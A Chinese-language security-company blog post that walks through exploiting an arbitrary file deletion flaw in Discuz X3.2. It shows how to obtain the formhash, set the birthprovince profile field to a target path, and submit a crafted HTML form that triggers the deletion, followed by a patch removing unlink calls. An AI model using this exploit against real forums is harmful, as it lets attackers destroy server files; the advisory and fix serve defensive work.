eSafe白帽駭客資安網-網絡安全背後的巨人,提供駭客,網站入侵測試,網站被駭,網站漏洞,駭客入侵,資訊安全,入侵,ecshop,wordpress,漏洞修復,木馬清除,資安服務

Discuz 3.2 漏洞—任意刪文件漏洞詳細利用

         

       Discuz在2017年9月29日更新了漏洞修復補丁,具體修復了DISCUZ前台的一個任意文件的
 
刪除漏洞,關於這個discuz論壇文件刪除漏洞方面曾在2014年裡被提交到discuz官方以及wooyun

烏雲官方,但此次漏洞完全是因為漏洞修復的不徹底,並可以再次利用,導致了漏洞
的發生。


 
此次Discuz漏洞的影響範圍甚廣,Discuz 3.4以下的版本,包含了 Discuz X3.2 Discuz X3.1

DiscuzX3.0 Discuz2.5等系列的版本漏洞。eSafe白帽資安網公司是一家專注於:主機安全
網站安全

網站安全檢測、網站漏洞修復,滲透測試,安全服務於一體的網絡安全服務提供
商。
 
 
Discuz漏洞的具體利用詳情:
 
漏洞測試環境如下:windows2008+PHP5.2+MYSQL+ Discuz X3.2
 
我們來新建一個文本文檔來作為測試:

 



 
打開論壇—再點擊論壇設置-找到個人資料,右鍵查看頁面的源代碼,找到formhash這個值.



 
http://www.esafe.tw.com/discuz3_2/home.php?mod=spacecp&ac=profile
 
我們查看到的formhash值是b21b6577,我們再來訪問下
 
http://www.esafe.tw.com/discuz3_2/home.php?mod=spacecp&ac=profile&op=base
 
 
並post提交方式,提交數據到這個地址如下圖所示:

 
 
個人論壇設置裡的出生地,被修改成要刪除的文件。
 
最後構造表單來執行刪除文件

 
<form action=”http://www.esafe.tw.com/discuz3_2/home.php?
 
mod=spacecp&ac=profile&op=base” method=”POST” enctype=”multipart/form-data”>
 
<input type=”file” name=”birthprovince” id=”file” />
 
<input type=”text” name=”formhash” value=”b21b6577″/></p>
 
<input type=”text” name=”profilesubmit” value=”1″/></p>
 
<input type=”submit” value=”Submit” />
 
</from>


 
 
我們在表單裡隨便上傳一張圖片,即可刪除論壇裡任意的文件。eSafe白帽資安網公司是一家專注於:服

務器安全、網站安全、網站安全檢測、網站漏洞修復,滲透測試,安全服務於一體的網絡
安全服務

提供商。
 
 
 
discuz漏洞修復方案:
 
找到:/source/include/spacecp/spacecp_profile.php
 
關於調用了unlink 相關的函數刪除掉,一共有5處。
 
 
 
if($_GET['deletefile'] && is_array($_GET['deletefile'])) {
 
  foreach($_GET['deletefile'] as $key => $value) {
 
  if(isset($_G['cache']['profilesetting'][$key]) && $_G
 
['cache']['profilesetting'][$key]['formtype'] == 'file') {
 
- @unlink(getglobal
 
('setting/attachdir').'./profile/'.$space[$key]);
 
- @unlink(getglobal
 
('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
 
  $verifyarr[$key] = $setarr[$key] = '';
 
  }
 
  }
@@ -215,17 +213,14 @@ if(submitcheck('profilesubmit')) {
 
  $attach['attachment'] = dhtmlspecialchars(trim
 
($attach['attachment']));
 
  if($vid && $verifyconfig['available'] && isset
 
($verifyconfig['field'][$key])) {
 
  if(isset($verifyinfo['field'][$key])) {
 
- @unlink(getglobal
 
('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
 
  $verifyarr[$key] = $attach
 
['attachment'];
 
  }
 
  continue;
 
  }
 
  if(isset($setarr[$key]) && $_G['cache']
 
['profilesetting'][$key]['needverify']) {
 
- @unlink(getglobal
 
('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
 
  $verifyarr[$key] = $attach['attachment'];
 
  continue;
 
  }
 
- @unlink(getglobal
 
('setting/attachdir').'./profile/'.$space[$key]);
 
  $setarr[$key] = $attach['attachment'];
 
  }
 
分享: